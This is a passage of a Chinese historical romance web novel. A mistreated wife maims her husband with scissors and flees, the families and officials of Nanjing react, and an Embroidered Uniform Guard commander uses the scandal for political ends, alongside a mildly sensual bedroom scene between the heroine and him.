如秦离铮所言,今夜月色极美。钱映仪怀揣着酸酸麻麻的感觉倒在帐子里,脸枕着软扑扑的四角软枕,盯着斜映进屋子里的清辉光线,舒服睡过了前半夜。 接近卯时,遥远的应天府署却传来阵阵鼓声,有人天未亮就在敲登闻鼓,声音很沉,很闷。 振得钱映仪猛然从帐子里坐起身,喘了半晌气,才扭头掀开纱帐,嗓音沙沙的,喊:“夏菱,外头发生何事了?” 天将明未明,稍刻,夏菱顶着一张发蒙的脸进屋,手中擎着银釭,给屋子里点上灯,“小姐也听见那鼓声了?奴婢也不知,这时候敲鼓,怕是老百姓有什么一刻也等不得的冤情。” 应天府署门前的那面登闻鼓已多少年没这般响过了?那鼓声犹在响,虽只能隐隐听见一些,钱映仪却登时没了睡意,干脆踩鞋下榻,“爷爷向来睡得浅,想必也听见了,我去前头看看。” 钱映仪稍整仪容,由夏菱在前头提着 灯笼,半炷香的功夫,主仆两个就行至前院正厅,与起身的许珺碰在一处。 许珺一见钱映仪,忙道:“哎唷,好奇猫儿!你也被吵醒了?快些回去睡,待午晌时,婶婶去寻你说话。” 正说着话,钱兰亭也从廊角拐来,面色十分严肃。 钱映仪忙迎过去,“爷爷,是登闻鼓在响。” 钱兰亭为官几十年,见过不少案子,却鲜少在这个时辰见人击鼓鸣冤。没来由地,他有些心神不宁,总觉出了桩大案,忙不迭就差来管家,“你速速去外头打听,到底出了何事。” 管家连连点头,鞋底一扭就欲离去,迎面却碰上钱玉幸打外头回来。 钱玉幸与余骋成婚几年,一个克己复礼,一个肆意明媚,多是余骋在迁就纵容她,小夫妻俩这几年总维持一个习惯,便是早起往外头走两圈,美名其曰驱散体内浊气。 眼见管家拔脚往外头去,钱玉幸忙启声截停他,那张俏生生的脸上不复笑颜,有一半是惊骇,一半则是说不出的吊诡。 她匆步上前,招呼几人往正厅里坐。大约是一路跑回来,鬓边沾了些晨露,也有些口干舌燥,摸了桌上凉茶就往嘴里送。 待喘过气来,她才望向钱兰亭,道:“爷爷,那蔺家出事了。” 钱兰亭心中咯噔两声,霎时起身,“你仔细与我说!” 话说昨日钱映仪生辰,蔺玉湖与燕文瑛在钱家到底是扮演过一场恩爱夫妻。 因晏秋雁等留在钱宅玩乐,燕文瑛与蔺玉湖也顺势留了下来。 蔺玉湖仍旧是那副眼梢里都能流出风流的神态,下晌与人又饮了些酒,不过是些果酿,倒也十分清醒。 晚间夫妻二人回蔺家,蔺玉湖便不装了,自顾撇下燕文瑛,转去一处院落看为他怀了孩儿的丫鬟绿翡。 若说那绿翡懂事些,在燕文瑛面前卖一卖乖,兴许燕文瑛睁一只眼闭一只眼,忍一忍也就过去了。 偏在蔺玉湖嘘寒问暖后,那绿翡又跑来燕文瑛跟前说话,模样怯生生的。 好像燕文瑛是从阴司地狱爬出来的恶鬼,嘴一张便能生吞了她。 燕文瑛压了半日的气终于撒出来,望了绿翡半晌,唇边勾着一丝若有似无的笑,“绿翡,我把话摊开与你说,我是家里的正头奶奶,虽没生个一儿半女,但你想母凭子贵越过我,我明白告诉你,还不能够,我劝你老实点,别再来我跟前晃,否则,我可不敢保证,哪日我心情不好了,一个不留神,你肚子里的孩儿就没了。” 这话太直白,说得绿翡低垂的眼里浮现两分阴毒,面上怯怯应下,回头却是又把话与蔺玉湖说了。 她模样可人,床第之间又舍得开羞耻,蔺玉湖对她很是喜爱,当即便往正房去,找上了燕文瑛。 燕文瑛正坐在镜前拆卸钗环,听见动静淡乜他一眼,言语讥讽,“怎么,又要替你心尖上的绿翡来教训我?” 大约是先前饮过些酒的缘故,蔺玉看她一张芙蓉玉面近在咫尺,心头那些怒气竟渐渐消散。 掐着她的下巴左右看了片刻,陡然笑了,“你又在吃醋?” 到底少年夫妻,燕文瑛心内难免有两分委屈,可她生性要强,宁可把这委屈咽下也绝不叫他窥见,便把头一扭,“滚出去。” 蔺玉湖偏一转性子,握着她的手亲了两口,顺势搂上她,在镜中与她对视,“气什么?我还不明白你?你要早些对我服软,说些我爱听的,做些我爱看的,我何至于去外头找那些不入流的?” 丫鬟们眼见二人将要握手言和,忙不迭就退了出去。 蔺玉湖把燕文瑛抱来腿上,热乎乎的唇去贴她的,口齿含混道:“你气她先怀上孩儿,那你就努努力,也怀个孩儿,怀个我们的孩儿。” 他这些话不过是花言巧语,可或许越是在意什么,越想得到什么。明知他在说假话,燕文瑛还是忍不住仰起头,放任干涸已久的自己在他的贴近下生出颤栗。 二人滚去榻上,一阵被翻红浪。 燕文瑛斜斜歪在他的臂弯里,正觉得从前那股情浓要冒尖时,蔺玉湖忽道:“瑛瑛,我觉着你有时太较真了。” 话如凉水迎头泼下,把燕文瑛又拽回当下。她毫不留情推开他,裹着抹胸穿好,复又穿戴整齐,坐在床沿不再望他,道:“蔺玉湖,什么叫较真?” 蔺玉湖舒爽过一场,不大在意她在想什么,无所谓阖着眼笑,“你什么都抓得太紧,我在你掌心里喘不过气,譬如这句话,我只是随口一说,你就与我较起真来,乖,再陪我躺会儿,待会我还得去娘那头呢,她前两日正说起给未出世的孙儿打个金项圈,先前归家命人来寻了我,叫我去看看。” 燕文瑛独坐床沿半晌,心头渐渐蔓延出悲哀,她忽然轻声道:“你爱过我吗?” “爱过。” 燕文瑛低低笑出了声,不可抑制地有些颤抖。爱过她,怎会从少年夫妻走到如今?爱过她,怎会打她?爱过她,怎会由丫鬟骑到她头上去? 她道:“蔺玉湖,我们和离。” 蔺玉湖呵呵跟着笑,翻了个身,“和离?咱们俩的爹捆在一起,咱们也捆在一起,一生一世都分不开,何苦总想这些令自己不高兴的呢?你不就是气我把心思都花在别人身上?” “你问我有没有爱过你,我老实告诉你了,我爱过你,可是瑛瑛,我是个生来就不受管教的性子,这点爱,早在你约束我做这做那的时候就已经消散得差不多了,咱们俩揣着明白装糊涂过一辈子不好吗?你陪着我,我也陪着你,大不了,你也去外头豢养几个俊俏小倌,我不在意的。” 他一席话说完,大约是有些累,也懒得再去掰过燕文瑛的肩头看她是什么神情,也不想与她争吵,干脆蒙着被衾就此睡去。 浑然不觉这些对燕文瑛而言是何其侮辱、何其折磨。 燕文瑛回望他一眼,忽然笑了。 她漠然行至镜前,盯着镜子里那张花颜依旧的脸看,有些陌生,又有些熟悉。 她是几时从明艳的燕家大小姐变成如今这任人欺凌的模样的呢? 好个一条船上的蚂蚱,凭什么长辈绑在一处,就要用她的一辈子来做绳索?她绝不想再忍! 燕文瑛发怔坐了片刻,陡然想及白日里钱映仪宽慰自己的那一番话。 是啊,她得为自己活。 燕文瑛的目光渐渐掠至妆台一角,那里摆着白日里丫鬟们做活时落下的剪子。 她冷漠捡起它,在这一刻舍弃了所有,且就把这场支离破碎的联姻当作一场噩梦,她现下要亲手剪断梦。 她轻轻撩开帐子,紧紧盯着已然睡熟的蔺玉湖,看着看着,眼角晃出了几滴泪,也许是在缅怀过去那个充满柔情蜜意的他。 待拭走泪珠,便一把掀开被褥,一剪子刺了过去。 蔺玉湖迷蒙间只短暂地感觉到了身下一凉,渐渐地,额心越拧越紧,迟钝片刻的痛意席卷全身,他怔然睁眼朝身下望去,忽如野兽般哀嚎,嘶喊痛叫,“燕文瑛!你敢!你怎么敢!来人!来人——!” 燕文瑛抹一把脸上的泪水,与手中的鲜血糊搅在一起,散着发,真真宛如阴司恶鬼。 她在他的嘶喊求救里端起轻蔑的眼,看他的目色始终卑睨,“在你眼里,我一直是个疯女人吧?不重要了,在我眼里,我是疯也好,清醒也罢,我就是我。” “当年满怀期盼嫁与你,可你却是狎妓玩乐!把我的脸面踩在脚下!我想过要与你好好过日子,可你的心不在我这儿。” “蔺玉湖,你没有心。” 丫鬟们听见动静推门而进,不敢上前,只能听见蔺玉湖的惨叫与燕文瑛的控诉。 燕文瑛笑得无比风华,“你没有心,还妄想将我困在你身边,凭什么?” 说到此节,她嗓音渐渐尖锐起来,“凭什么燕蔺两家的平静要以我为代价来维持!凭什么不许我和离!凭什么要将我像只鸟儿一样关在笼子里!” “蔺 玉湖,都说上嫁如吞针,可我家世比你好,嫁与你这么多年,我仍觉得浑身上下都是窟窿,你不觉得冷吗?” 正是这时候,有个眼尖的丫鬟瞧见了帐子里的惨状,登时骇目圆睁,尖叫着往外跑,“少奶奶把少爷的宝贝给剪了!” 旋即丫鬟四散,止不住地尖叫起伏,越来越多的人往院子里涌,脚步声益发杂乱。 燕文瑛独站帐外,仿佛外头的混乱与她无关,她把眼在四处瞟一瞟,笑道:“我不甘心,我已不是从前那个我,凭什么你还是从前那个你,从今往后,你也试一试我的感觉,尝一尝被根无形的线捆绑在原地的滋味,我看你还怎么出去见人,你就被困在这笼子里待一辈子吧!” 说罢,她持着那把剪子放声吭笑,一股脑往外冲,嘴里嚷着:“什么闺阁小姐,官宦奶奶,都死去吧!从今往后,我只是燕文瑛,谁都别想关着我,谁都别想给我气受!” 说到此节,钱玉幸瞠圆一双眼,喃喃:“燕文瑛趁乱逃了,蔺家四处寻她不见,现下应天府署门前拥了一堆人,全是蔺家的,蔺太太亲自敲登闻鼓,宛如疯状,扬言要送燕文瑛下狱呢。” 钱映仪一时得知这样的消息,张了张嘴,要讲话,偏讲不出来,只觉骇然,把搭在肩头的披风紧了紧。 钱玉幸又道:“我同官人听了动静正赶过去,那蔺太太见了官人就把他拦在府署门前,嘴上说着要上报朝廷,治燕文瑛一个杀夫未遂之罪!官人便叫我先回来了。” “怎地突然就这样了”许珺不可置信道:“昨日见他二人还好好的” 钱兰亭想的却更为遥远,额心一点一点拧紧,思忖半晌,问,“你们昨日与燕文瑛说话,可有说些什么不该说的?” 钱映仪心一颤,脑中电光火石一闪,忙道:“昨日她与嫂嫂闹了个误会,因为孩儿的事,雁雁同岚岚都在宽慰她,我也跟着宽慰了一二。” 旋即把那席话与钱兰亭说了。 钱兰亭何等深谋远虑,嗓音渐渐沉了下来,“蔺太太已闹上衙门,此事尚且不知该如何收场,燕蔺两家势必闹崩,外头闹外头的,你们这几日都老老实实在家待着,要买什么吃什么,使丫头侍卫去买,他夫妻二人昨日才来过咱们家,倘或叫不知情的人在外头乱说一通,咱们家是不好说清的。” 钱玉幸这时候也敛起随意,正经把下颌轻点,“知道了。” 时辰尚早,见钱映仪只低挽乌髻,钱玉幸心知她没睡好,恐她胡思乱想,嗓音倏然软了些,“行了,不要怕,没什么要紧的,爷爷只是未雨绸缪,他向来喜欢把事往最坏的结果上想,你不是不知,回去睡吧,瞧小脸白的。” 夏菱忙掣着钱映仪的衣袖往外走。 待穿廊拐过一角,钱映仪浮上心头的恐惧终于展露出来,攫着夏菱的腕子轻问,“阿铮呢?” 夏菱抿着唇答道:“小姐,二小姐说得对,一句话的事,您不要怕,先回去睡,他与小玳瑁换过值,想必正在休息,奴婢这便去寻他。” 发生这样大的一件事,秦离铮自然不可能不知情,正与褚之言守在应天府署对面的马巷,盯着蔺边鸿的太太荀芸精疲力竭敲着登闻鼓。 褚之言也一副不可置信的神情,喃喃道:“天老爷,咱们安排回京师的人正准备动手,这燕蔺两家就闹出了这么大一桩事,真是天老爷在帮咱们的忙。” 说罢,窃窃往身下扫了两眼,连连咋舌,“这燕文瑛真是个狠人。” 旋即又望向那始终紧闭的府署大门,问,“指挥,你说,燕榆会亲自捉拿燕文瑛吗?” 秦离铮目光闪动,偏头看着他,“燕文瑛在哪,你知我知,若没有咱们的人从中阻拦,她逃不了蔺家人的追捕,无论燕榆抓不抓她,到了这时候,她都不该再出现在众人眼前,她越是不出来,蔺家就越急,越觉得燕家在包庇她。” 他复又望向府署门前的蔺家人,扯了扯唇,“不是要上报朝廷?帮他们一把,写封信快马加鞭送进尚书房,让皇上知道这桩案子,届时就看这燕榆和蔺边鸿之间,到底能斗成什么样。” 默然片刻,褚之言道:“裴骥那头没什么动静了,待找出他的账本究竟在何处,咱们也能舒舒服服坐山观虎斗。” 秦离铮阖上眼没有搭话,只把背欹在身后的墙上,浓眉轻攒,像是没有休息好。 半晌,褚之言又开口:“瑞王那头也很安静。” 提及瑞王,秦离铮方掀起眼皮,淡道:“此人只会捡利益,有了恒王给他的教训,他断不会再随意出来冒尖,虽说与燕蔺两家共乘一船,可依照他谨慎的性子,越乱,他越不会有什么举动。” 他问,“人寻到了么?” 指的是瑞王麾下那靠假死脱身的谋士。 褚之言点点下颌,“寻到了,我正要同你说,这梁途根本没离开金陵,也是胆大,不过他已改头换面,毁了容貌,在夫子庙后头的四福巷租了个铺面,做糖水生意,这些年还往乞丐窝里捡了个女儿养在身边,瞧着是打算就在阴暗里躲一辈子。” 秦离铮登时转背离去,“知道了,让燕蔺两家闹吧,走了。” 归家时,秦离铮先翻进了钱映仪的寝屋,见她小小一个缩在被衾里,心头倏软,把食盒搁在案上,旋即倚在拔步床旁屈指轻敲。 钱映仪立时翻身起,坐在帐子里凝望着他,“你你怎么青天白日进来了?” “放心,外头出了事,他们都聚在园子里讲话去了,”他捡一捡她搭在椅上的衣裙,阖着眼递与她,“饿不饿?我买了馄饨与糖水。” “先前夏菱正说寻不见你呢,”钱映仪本也穿了寝衣,却还是不自在,想赶他先出去,那抹恐慌又使她开不了口,因此命道:“你转过去。” 秦离铮好笑转过身。 不一时,钱映仪穿戴整齐,踩着一双绣着玉兰花的绣鞋走出来,忍不住问,“你出去了,外头真的闹得厉害?” 见她伏腰往镜前坐,秦离铮顺势跟上去,一手捞起她的乌发,自顾替她编起辫子,半个时辰前还冷漠的目光平添柔和,像是这一刻只有她最要紧,“嗯,闹得难看,两边都编还是一齐编个厚的?” 钱映仪稍有惊愕,透过镜子瞧他的脸,神情认真,令她产生一种错觉——好像她与他已然成婚,今番只是个再寻常不过的晨间。 她拒不承认自己的心又扑通直跳,忙轻垂眼皮,道:“就随意编一编。” 须臾,一条长长的辫子垂在脑后,钱映仪端着个笑去洗脸洁齿,旋即坐在珠帘外的圆桌前,托着腮瞧他,“那府署那头怎么说呢?” 秦离铮往食盒里取出一碗馄饨,一盅荔枝糖水,轻推至她身前,道:“府署的门还关着,涉事两家都不是普通门户,时辰又尚早,想必有些官员还未上值,未下值的则在里头商议该如何应对。” 钱映仪把馄饨里的肉挑拣着吃,又问,“那你见着蔺玉湖没?” 大约是想及蔺玉湖遭受过什么,她的目光便由秦离铮的脸往下落,似透过圆桌便能瞧见。 秦离铮耳根微红,清了清嗓,把糖水推去她身前,“喝一口,光吃肉不腻?” “没见到,他受了伤,怎么会出现在府署外?” 钱映仪猛然回神,暗道自己不该如此直白地盯着他瞧,忙把脸埋在糖水面前,一连迭喝了几口,倒咂摸出味儿,赞道:“好喝!哪儿买的?” “夫子庙那边,”秦离铮又指一指馄饨,“还剩半碗,吃完它。” 钱映仪瘪瘪唇,不情不愿捧回那碗,一面嘀咕,一面又仿佛在享受他的关心,“我不是小孩子,你管我吃饭做什么?” 秦离铮翻窗进来时把门窗都紧紧阖上了,屋子里就二人独处,他倏然笑一笑,脸往前凑,认真端详着她的脸,“瘦了,该多吃点。” “哎呀,你做什么这样盯着人家!”钱映仪忙捂着热辣辣的脸,熟门熟路替自己找补,“夏日没什么胃口,吃得少了,瘦了不是很正常嘛,难不成我瘦了就不好看,你就不喜” 话音戛然而止,她好像总是羞于在他面前明明白白说“喜欢”二字,因此,硬生生把话茬开,“你别管我这些,爷爷今晨嘱咐我最好别出门,我细细想来觉得也是。” 言讫,她舀了块馄饨肉送进嘴里。细嚼慢咽半晌,才把昨日宽慰燕文瑛的 那一席话说给他听。 秦离铮稍有讶然,暗想那燕文瑛陡然癫疯,想必是想通了什么,不料竟在机缘巧合下有她的“推波助澜”。 不过她正因此事生畏,他定然不能夸赞她。 满屋子的零陵香气愈发浓重,像在邀请他陷进温软的梦里。盯着她用完一整碗馄饨,秦离铮摸出帕子递过去,笑道:“正好,这几日就把秋千做了?去挑一挑木头?” 钱映仪搁下勺子,眼风瞥一瞥他,“我还没睡够呢。” 秦离铮转眼思忖,点了点头,旋即起身来捞她,抱她往拔步床那头去,“那再睡会。” 抱得钱映仪心惊胆颤,两条胳膊软软搭在他的肩上,忙不迭要往下跳,“你你你放我下来!” 从前抱她都是晚上倒也罢,有一回在城外也勉强罢了,如今青天白日,这可是她的闺房! 还抱着她往床榻上去 闻言,秦离铮牵唇笑了两声,轻垂的目光停在她的脸上,“怕什么?不是向来很胆大?” 钱映仪低着脑袋,两只脚晃一晃,本就只轻轻踩着的绣鞋就晃掉一只。数息的功夫,他就把她放在床沿,面色倒正经,拨着她的下巴左右窥瞧,评点道:“嗯,眼下有些发青,的确是没休息好。” 钱映仪被迫仰头盯着他。 听他说自己眼下发青,登时不高兴了,仔细琢磨他的脸,嘴上也不服软,洋洋得意嗤笑一声,“你瞧着也不像睡饱的样子。” 秦离铮倏然起身,一言不发转背往外走。 钱映仪暗自翻了翻眼皮子,正为自己占据上风而高兴,蓦地接连听见“咔哒”声。 他踅回门口,在里头落了锁。又一步步向她走来,接连把窗户也给锁上了。 秦离铮行至她身前,看她稍有惊愕的神情,静静拉开唇畔的笑,抬手去解皮革腰带,“你说得对,我也要休息。” 钱映仪大骇,忙起身推他,“你疯了不成?” 他如一堵硬墙,压根推不动。钱映仪还要再张嘴,他已褪去外袍,露出一身雪白的寝衣,旋即一把揽住她。 炙热的温度立时从薄薄的料子里传出来,钱映仪被揽住腰,随着大片纱帐一齐倒下。 下一刻,后脑被一只手轻轻按住,脸登时贴上他坚硬的胸膛。 他拥着她,制住她的挣扎,嗓音里喧出一股轻叹与疲惫,“别动,让我也睡会。” 低沉的声音在这一方小天地钻进钱映仪的耳朵里,听得她手脚稍显绵软,双手抵在他的胸前,还要再推。 被迫听着他也急促的心跳声,钱映仪一时恍然。 原来他也紧张。 最后一片纱帐在此刻落下,粉色的帐子映得周遭有些昏暗,钱映仪身躯渐渐没那么紧绷。 缩在他与被衾之间,她没有理由地想,她胆子未免也太大了点,这样真的好么? 可单单去想是一回事,钱映仪轻嗅他身上的薄荷香,竟在彼此交织里的气息里捉住了一抹隐密的刺激。 半晌,她轻轻闭上了眼。 整间屋子都开始渐渐变得陌生,尤其是身下这张床,霎时像个名唤禁忌的深渊。 她一面要往外逃,一面又因身处上方,不得不眼睁睁看着自己往下沉沦。 不管了,由他去吧—— 作者有话说:今天是叮当仪 虽然燕文瑛是个稍稍反派的角色,我仍想说——恭喜脱离苦海~ 燕文瑛:管你小姐奶奶太太,老娘压抑得够久了,不伺候了,你们一锅乱起来吧![好的] 第35章 芳菲时节,天地万物都热烘烘的。钱映仪压根闭不上眼,那点困意早已熔在他炙热的体温里。 他的呼吸匀称,吹在她的头顶像阵微风。不知过去多久,钱映仪眨一眨眼,身体彻底松缓下来,仗着他阖着眼睡觉,开始大着胆子瞧他。 当日捡他回来时,便是瞧准他这幅身板硬实,此前她从未细看。 便是那一夜在他的寝屋,他赤着上身,她也只是四下躲避,只记得他的腹前那片肌肤滚烫,坚硬,在她的掌心下还跳了跳,在她的掌心下 钱映仪悄然把目光掠至他胸前,交领寝衣上的那个结打得还算工整,里头是什么模样呢? 钱映仪抿了抿下唇,有些口干舌燥。静听片刻,知他仍睡着,便难为情地把本就抵在他胸前的手挪一挪,眼前这件寝衣登时跟着她的掌心跑一跑。 她轻垂眼皮,像个担心做错事的孩子一般,窃窃歪了歪脑袋,往那条张开的缝隙里窥视。 借着天光白日,就这么瞧清了小小一块。 他呼吸时,胸膛就跟着动,肌肤虽比不上她的细腻,却也不算粗糙。钱映仪盯了半晌,脑中有个声音正痛骂自己的不正经与放肆,这回她是真难为情了,猛然把头一低,额心就抵上了他 好粉。 惊觉自己在窥探他,钱映仪暗自痛斥自己方才那股滋生得饱胀的念头,深深吸气,预备从他身前退离。 不料方动一动,连脑袋都没能抬起来,腰就被兜揽住,那双手稍稍一用力,她便跨坐了起来。 纱帐低垂,钱映仪亦稍稍垂头,散落的鬓发搭拢在秦离铮脸上。他掀眼望着她,眼里浮着晦暗难明的情丝,像要从那双眼睛里钻出来,把她紧紧缠住,“你在看什么?” 说话时,他仍有懒态,神情松散,连眼眉间时常有的淡漠都不复存在。钱映仪呆怔下脱口而出:“看你长得俊” 意识到自己在说什么胡言乱语,钱映仪登时睁大眼,慌慌张张捂嘴,“我不是那个意思!” 不知是纱帐相衬还是别的缘故,秦离铮耳廓渐染一抹淡红,稍刻,挪开了紧盯着她的目光,默然把脸偏向一旁。 钱映仪脸颊烧得滚烫,见他睁开眼睛,也顾不得廉耻去拉他的手,“你放开我,不许再上我的床,既然醒了就下去!” 秦离铮倏然闭眼,没松手,“谁说我醒了?我再睡会。” 这话怄得钱映仪失语,不可置信看他睁着眼睛说瞎话。 眼见自己还坐他身上,暗自磨一磨牙关,干脆使出全身的劲,一把将他两只手给摁到四角枕的两边,俯低咬他的脖子,口齿含混不清,“不下去,我就将你咬死在这,明日我再换张床,让家里的小厮把你连人带床一并拖出去,丢得远远的!” 秦离铮习惯被她咬一咬,只轻嘶一声就由她禁锢着一双手,只是喉结难免也跟着滚一滚,舌尖也把唇缝卷润一些,把那股隐秘的念头疯狂往下压。 他不说话,无条件纵容着她。钱映仪咬了片刻忽然怔住,埋在他的肩颈不敢再抬头。 天老爷,她究竟在做什么?她现下像个采花贼! “不咬了?”久到钱映仪以为过去大半个时辰,他蓦然开口,嗓音沙沙的,像自深渊里爬上来的鬼怪低语,要拽着她往下跌。 钱映仪讪讪抬脸,正要说话,不防那拴紧的门往里推了推。旋即夏菱在外头嘀咕:“咦?好端端地,小姐锁门做什么?小姐?小姐?” 秦离铮呼吸一窒,看着她猛然贴近,须臾间,他与她中间只隔着她的手,看她紧张不安的神情,听她谨慎小心的声音,“嘘,不许说话。” 半晌,她清清嗓,自他身上爬起,柔软的掌心仍覆在他的唇上,脑袋却偏一偏,让细细的嗓音透过纱帐传出去,“夏、夏菱!我还要睡呢,你别管我!” 夏菱的声音沉闷透进来,旋即脚步声渐渐远离,复又出现在窗边,与几个勤学的小丫鬟们说起了话。 屋外是正儿八经的说话声,帐子里两具身躯紧密待在一起,钱映仪的心在这截然两片不同的天地里早已振荡飘浮着。 她有些发软,却仍顽强抵抗。目光把他扫一扫,遂看见他双手不对称的戒指,一时心头又窝了火,一回生二回熟,借着紧张去掰他的指节,“这戒指就不能好好佩戴得对称些?你明知我的习惯!” 倘或说秦离铮先前当真 想休息,此番由她“闹一闹”,便是灌他迷汤,他也断不可能再阖上眼睛。尤其是他已在她的动作下抬了头。 钱映仪自然也感受到了,她涨红着脸替他把戒指各自戴在食指上,小声道:“咱们能不能下去?” 她说“咱们”,不知何时起,他们之间已不再是简单的“你和我”。 秦离铮仰脸瞧她,惊觉心里疯涨的念头已快压制不住,忙扭头望向她的手,“你先松开我。” 钱映仪轻轻“啊”了一声,这才半逃半躲地丢开手,旋即一个翻身自他身上下去。 本该是场温馨的回笼觉,这样你推我攘的一闹,两个人头一回如此默契地没有再说话。 这股默契牵扯得钱映仪大半日都没有再瞧秦离铮,如此这般,一晃傍晚将至,被人留在应天府署的余骋稍显疲惫地归了家。 余骋往小花厅与几人用罢晚膳,遂拔脚往自己歇息的院落去。今番在府署来回斡旋,蔺家的人闹,大大小小的官员吵,着实出了一身汗,便也预备洗漱一番。 正行过廊角,走到一处墙根底下,与秦离铮迎面撞上。 余骋左右窥视一眼,与他稍稍颔首,“秦指挥。” 此处无人,丫鬟小厮们都转去用晚饭了。秦离铮瞟他一眼,抱臂歪着身子往假石上靠,“事情处理得如何?” 余骋嗟叹一声,道:“外头早已沸沸扬扬,我是一路走回来的,淮河两岸因这事炸开了锅,无数张嘴巴在讲话,根本堵不住。” “白日里,燕榆在堂上气晕两次,府署里那些低他几级的官员像疯狗闻着了肉骨头,抓着燕文瑛的错处不放,话里话外都往蔺家那头站,巴不得把事捅破了天,就此让燕榆倒台才好。” 喘了口气,他又道:“好在那燕如衡也在,一张嘴倒是言语机锋,把那些官员们都给堵得闭了嘴。蔺边鸿瞧着还算冷静,最激动的是他太太荀芸。荀芸就蔺玉湖这一个儿子,如今被燕文瑛给” 余骋不太说得出口,顿了顿,“与宫里的太监又有何分别?荀芸口口声声要燕文瑛的性命,就算以律例判不了她死,也要她下狱受罪,再流放三千里。” “我身为巡抚,没有办法,只能下令搜捕燕文瑛,蔺家这才稍微消停了点,现下都回去了。” 说到此节,余骋那张俊秀温润的脸上浮现疑色,掀眼望向秦离铮,“这件事是不是你的手笔?” 秦离铮扯出个若有似无的笑,“锦衣卫的手,还能伸到人家被子里去?” “那燕文瑛呢?”余骋盯着他,“未出嫁前,她是个娇滴滴的小姐,嫁给蔺玉湖后,她过的也是养尊处优的日子,她是如何避开蔺家的搜捕,到现在都没半点动静的呢?” 再启声,余骋的语气十分笃定,“你把她藏起来了。” “秦指挥,你不把她交出来,这桩案子便结不了。” “你别忘了皇上要查什么,”秦离铮声音显得冷漠至极,“越乱,他们暴露得就越多,我已送信给皇上,还请你拖一拖搜寻的速度,蔺家人若问起来,便说暂时找不到她。” 余骋一噎,寻不到理由反驳,话不投机,干脆作揖告辞。临走时,意味深长往秦离铮脖子上瞥了眼,“金陵要乱,希望你真如当初所说,能护好映仪。” 他已苦口婆心劝过,也阻拦过。可情一字,又哪是他单方面阻拦一人就行的呢?大舅哥的叮嘱想来是做不到了。 这厢一番交谈暂且不提。 且说那燕家已是乱成了一锅粥。从前跟着燕文瑛的几个丫鬟与奶妈妈都被从蔺家押了回来,燕榆歪倒在榻上,望向她们的目光隐含杀意,“老实说来,小姐究竟去了哪里?” “昨儿夜里小姐与姑爷究竟因何事在闹?” 出了这样大的事,众人都吓得不轻。几个丫鬟不可抑制地跪在地上打颤,最后是那奶妈妈哆哆嗦嗦膝行上前,答道:“孩儿!是为了孩儿的事!” 燕文瑛到底吃她的奶长大,在她心里与半个亲生女儿无异。她跪在地上抹一把泪,伤心欲绝,“老爷,小姐昨日归家后便又与姑爷形同陌路,姑爷收入房中的绿翡后头来挑衅小姐,小姐忍下了,没几时,姑爷也来了,远远瞧着姑爷在哄小姐高兴,奴与几个丫鬟们便不好再在屋子里。” 她越哭越喘不来气,央道:“老爷,小姐是您看着长大的,她怎会做出这样狠辣的事?这事定有隐情,奴当真不知小姐去了何处,可她万不能在此时出来啊!倘或她上了公堂,后半辈子可就完了!” 王采苓亦伏腰坐在榻上哭得帕子都湿了几条。 燕榆哪能不懂这其中“隐情”?暗自猜想大抵便是和离那事,可他万万没有想到,他的女儿竟一剪子险些剪断拴着两家的绳子! 寻不到燕文瑛,意味着这绳子终有一日会彻底断了,应天府署那班官员早已在寻他的错处,今日更是围剿他一人。 好在儿子还算有用。 燕榆先焦躁挥一挥手,叫这些个哭哭啼啼的下人们都出去。才扭头望向孤坐一旁的燕如衡,道:“爹没白疼你一场,你今日做得不错。” 燕如衡乏累至极,短短一日,已从最初的震惊到被迫接受,到上公堂代替燕家整个家族与外力对抗,再到现下的平静。 人也仿佛不再光风霁月,挺直的背脊刹那间就弯了点。他低喘了口气,转眸望向燕榆,也不讲话。 好像在公堂上他已把话说尽了,此刻是半句话也挤不出来。 他原以为只要脱离掌控便能做回从前那个正直的自己,可长姐这桩案子又将他天真幻想的一切彻底击碎。他根本逃离不了。 白日在公堂上,眼见燕榆被大大小小的官员挤兑,他静静站在那里,蓦然想起很早以前他前往凤阳做官,长姐在渡口相送,眼里揣着对他的期望与肯定。 彼时,她欣慰道:“我弟弟三郎天资聪颖,一考就中,旁人艳羡都艳羡不来呢,好好在凤阳做官,届时有机会调任回来,再一步步往京师走,咱们燕家的门楣,定能因你更亮堂一些。” 旋即有个官员朝燕榆冷嘲热讽,把他拉回了当下。 他这才悚然回神,什么正直良善,什么抵抗不从,统统都不可实现。 他姓燕,是燕榆的燕也好,还是他亲生父亲燕承的燕也好,都不重要了。 即使能掌握燕榆贪墨的证据又如何?他所拥有的一切,哪一样不是由燕榆给的?说到底,他根本无法将自己与燕家割离开。 因此,即便他背后的家族是个吃人的魔窟,他也只能眼睁睁看着自己双脚踩在里头,带着他渴求过又不值一提的自由,孤注一掷地往里陷。 他早已和家族密不可分,手连着手,脚连着脚。燕榆倒台,整个家族跟着倒,燕榆风光,整个家族跟着风光。他亦如是。 在席卷而来的外力面前,他依旧是燕家密不可切的一份子。 半晌,燕如衡扯了扯唇,声音出奇的平静,“爹,倘或找不到姐姐,您预备怎么办?” 燕榆歪在榻上,因先前晕过两回,也稍显疲乏,嗓子里喧出一股无奈,“能怎么办?找不到她,我真能挖地三尺四处掘她?眼下要紧的是蔺家那头,少不得要做低伏小登门赔罪,这姻亲关系,还是断不得。” 知他揪着利益不肯撒手,燕如衡也没什么精力去厌恶,淡扫一眼近在眼前的一对养父养母,旋即起身离去,“成,我去备礼。” 一径行至园子里,微风渐起,吹起盛开的花香。燕如衡止步不前,抬头把月色扫一扫,忽然问身边的小厮箬山,“你觉不觉得冷?” 这座魔窟,冷得他整个人都被冻住了,好像他再牵出什么良善做人的心思,里头的五脏六腑就要“啪”的一声碎裂。 眼下是夏日,好端端地,冷什么?箬山不解摇头,也知他心情不好,只得宽慰道:“少爷,还是早些睡吧,明日怕是还有得忙哩。” 一句“少爷”,把燕如衡叫得发怔。是啊,他在 凤阳时,欢欢喜喜往亲爹家里去,爹娘会亲切管他叫“衡哥儿”,但在这,他只会是少爷、燕大人。 月色在燕如衡的眼底映照得白晃晃一片,他想到钱映仪那张总纯粹展开的笑颜。 他终于忍不住想,昨日他还在因撞见她与旁人亲近而心生妒忌,可短短一日,他的世界已天翻地覆。 或许在不远的将来,他与她也不再是朋友,他会在真正意义上与她成为道不同的陌生人。便也连妒忌的资格也没有了。 岑寂寂的园子里,燕如衡孤站半晌,终于转了脚步,只留下一声极低的叹息在原地,“走吧。” 。 荷叶五寸荷花娇,贴波不碍画船摇。淮河两岸依旧热闹,伶人娇笑仍脆生生的,酒客也仍吭声而笑,那个于他们而言不重要的案子,褪去新鲜,早已埋没醉酒笙歌里。 